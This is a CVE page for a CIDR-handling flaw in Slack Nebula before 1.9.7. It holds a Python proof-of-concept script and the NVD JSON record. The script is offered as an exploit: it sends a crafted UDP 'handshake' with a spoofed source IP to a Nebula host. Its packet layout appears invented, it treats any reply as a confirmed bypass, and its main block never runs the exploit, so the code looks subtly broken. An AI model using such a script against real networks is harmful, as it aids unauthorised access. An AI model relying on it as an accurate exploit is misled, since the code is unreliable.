CVE-2025-62820

# CVE-2025-62820 PoC - Nebula CIDR Bypass # This PoC demonstrates the CIDR handling vulnerability in Nebula < 1.9.7 import socket import struct import time def create_nebula_handshake(source_ip, target_ip, certificate): """Create a Nebula handshake packet with arbitrary source IP""" # Nebula header structure header = bytearray() header.extend(b'\x01') # Message type: handshake header.extend(b'\x01') # Version header.extend(b'\x00\x00') # Reserved # Craft packet with spoofed source IP packet = bytearray() packet.extend(header) packet.extend(socket.inet_aton(source_ip)) # Spoofed source IP packet.extend(socket.inet_aton(target_ip)) # Target IP packet.extend(certificate) # Valid Nebula certificate return bytes(packet) def exploit_nebula_cidr_vulnerability(nebula_host, nebula_port, spoofed_ip, target_ip, cert): """Exploit the CIDR handling vulnerability""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) # Create malicious handshake packet packet = create_nebula_handshake(spoofed_ip, target_ip, cert) # Send to Nebula host sock.sendto(packet, (nebula_host, nebula_port)) # Wait for response response, addr = sock.recvfrom(1024) if response: print(f"[+] Received response from {addr}") print(f"[+] Vulnerability confirmed: CIDR check bypassed") return True except socket.timeout: print("[-] No response received") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() return False # Example usage if __name__ == "__main__": print("CVE-2025-62820 - Nebula CIDR Bypass PoC") print("Target: Nebula < 1.9.7") print("Note: Requires valid Nebula certificate")

{"cve": {"id": "CVE-2025-62820", "sourceIdentifier": "[email protected]", "published": "2025-10-23T04:18:57.453", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Slack Nebula before 1.9.7 mishandles CIDR in some configurations and thus accepts arbitrary source IP addresses within the Nebula network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:L", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-420"}]}], "references": [{"url": "https://github.com/slackhq/nebula/pull/1493", "source": "[email protected]"}, {"url": "https://github.com/slackhq/nebula/pull/1494", "source": "[email protected]"}]}}